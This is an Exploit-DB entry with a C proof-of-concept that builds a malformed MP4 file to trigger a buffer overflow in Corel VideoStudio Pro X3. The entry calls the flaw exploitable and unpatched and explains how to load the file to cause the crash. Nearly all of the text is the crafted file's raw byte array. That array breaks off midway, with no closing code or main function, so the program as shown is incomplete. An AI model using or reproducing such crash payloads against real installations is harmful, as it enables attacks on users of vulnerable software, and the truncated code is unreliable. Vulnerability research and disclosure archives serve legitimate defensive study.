Exploit-DB #13919
Description: Corel VideoStudio Pro X3 - '.mp4' Buffer Overflow
Type: dos
Platform: windows
Date: 2010-06-18
Author: fl0 fl0w

Exploit:
/*
   DISCLAIMER
    
   THIS PROGRAM IS NOT INTENDED TO BE USED ON OTHER COMPUTERS AND IT IS DESTINED FOR PERSONAL RESEARCH ONLY!!!!
   The programs are provided as is without any guarantees or warranty.
   The author is not responsible for any damage or losses of any kind caused by the use or misuse of the programs.
   The author is under no obligation to provide support, service, corrections, or upgrades to the free software programs.
    
   Author:           fl0 fl0w
   Software:         Corel VideoStudio Pro X3 
   Dl link:          http://www.corel.com/servlet/Satellite/us/en/Product/[PII_REDACTED]77#tabview=tab5
    
   Afected Versions: pro X3
   Remote:           No
   Local:            Yes
   Class:            Boundary Condition Error
   Bug:              Access violation
   Exploitable:      Yes 
   Afected software: Microsoft® Windows® 7, Windows Vista® or Windows® XP with latest service packs installed (32-bit or 64-bit editions)  
   Fix:              No fix   
   Compiler:         gcc version 3.4.4 (cygming special, gdc 0.12, using dmd 0.125) 
   Advice:           To avoid any problems under Windows use cygwin console.
                     Open advanced edit and go to File->insert media file to timeline->insert video->corelPoc.mp4		 
   The .C code:
 */
#include<stdio.h> 

#define FNAME "corelPoc.mp4"
#define Write_mOD "wb" 
#define CHAR_SIZE 1
#define VER "Pro X3"
#define POC_NAME "-Corel VideoStudio Poc(0day)" VER \
                 "\n-File done!!"
 
    char rawfile[] =
{
    0x00, 0x00, 0x00, 0x18, 0x66, 0x74, 0x79, 0x70, 0x6D, 0x70, 0x34, 0x32, 0x00, 0x00, 0x00, 0x01, 
    0x6D, 0x70, 0x34, 0x32, 0x6D, 0x70, 0x34, 0x31, 0x00, 0x00, 0x40, 0x6A, 0x6D, 0x6F, 0x6F, 0x76, 
    0x00, 0x00, 0x00, 0x6C, 0x6D, 0x76, 0x68, 0x64, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xC5, 0xB8, 0xE2, 
    0xC0, 0xC5, 0xB8, 0xE2, 0x00, 0x00, 0x03, 0xE8, 0x00, 0x00, 0x77, 0xEC, 0x00, 0x01, 0x00, 0x00, 
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x0E, 0xD5, 
    0x74, 0x72, 0x61, 0x6B, 0x00, 0x00, 0x00, 0x5C, 0x74, 0x6B, 0x68, 0x64, 0x00, 0x00, 0x00, 0x01, 
    0xC0, 0xC5, 0xB8, 0xE2, 0xC0, 0xC5, 0xB8, 0xE2, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x77, 0xEC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0xA0, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x24, 0x65, 0x64, 0x74, 0x73, 0x00, 0x00, 0x00, 0x1C, 0x65, 0x6C, 0x73, 0x74, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x77, 0xEC, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x0E, 0x4D, 0x6D, 0x64, 0x69, 0x61, 0x00, 0x00, 0x00, 0x20, 
    0x6D, 0x64, 0x68, 0x64, 0x00, 0x00, 0x00, 0x00, 0xC0, 0xC5, 0xB8, 0xE2, 0xC0, 0xC5, 0xB8, 0xE2, 
    0x00, 0x00, 0x03, 0xE8, 0x00, 0x00, 0x77, 0xEC, 0x15, 0xC7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3A, 
    0x68, 0x64, 0x6C, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x69, 0x64, 0x65, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x70, 0x70, 0x6C, 
    0x65, 0x20, 0x56, 0x69, 0x64, 0x65, 0x6F, 0x20, 0x4D, 0x65, 0x64, 0x69, 0x61, 0x20, 0x48, 0x61, 
    0x6E, 0x64, 0x6C, 0x65, 0x72, 0x00, 0x00, 0x00, 0x0D, 0xEB, 0x6D, 0x69, 0x6E, 0x66, 0x00, 0x00, 
    0x00, 0x14, 0x76, 0x6D, 0x68, 0x64, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x64, 0x69, 0x6E, 0x66, 0x00, 0x00, 0x00, 0x1C, 0x64, 0x72, 
    0x65, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0C, 0x75, 0x72, 
    0x6C, 0x20, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x0D, 0xAB, 0x73, 0x74, 0x62, 0x6C, 0x00, 0x00, 
    0x00, 0xAB, 0x73, 0x74, 0x73, 0x64, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
    0x00, 0x9B, 0x6D, 0x70, 0x34, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA0, 
    0x00, 0x78, 0x00, 0x48, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x00, 0x18, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x45, 0x65, 0x73, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 
    0x03, 0x37, 0x00, 0x00, 0x1F, 0x04, 0x2F, 0x20, 0x11, 0x00, 0x96, 0x00, 0x00, 0x01, 0x90, 0x9A, 
    0x00, 0x01, 0x90, 0x00, 0x05, 0x20, 0x00, 0x00, 0x01, 0xB0, 0x01, 0x00, 0x00, 0x01, 0xB5, 0x0E, 
    0xE0, 0x40, 0xC0, 0xCF, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x20, 0x00, 0x84, 0x40, 0xFA, 
    0x28, 0x28, 0x20, 0x78, 0xA2, 0x1F, 0x06, 0x01, 0x02, 0x00, 0x00, 0x00, 0x18, 0x73, 0x74, 0x74, 
    0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x01, 0x33, 0x00, 0x00, 0x00, 
    0x64, 0x00, 0x00, 0x00, 0x30, 0x73, 0x74, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
    0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 
    0x68, 0x00, 0x00, 0x00, 0x9A, 0x00, 0x00, 0x00, 0xCC, 0x00, 0x00, 0x00, 0xFE, 0x00, 0x00, 0x01, 
    0x2D, 0x00, 0x00, 0x05, 0xD4, 0x73, 0x74, 0x73, 0x63, 0x00,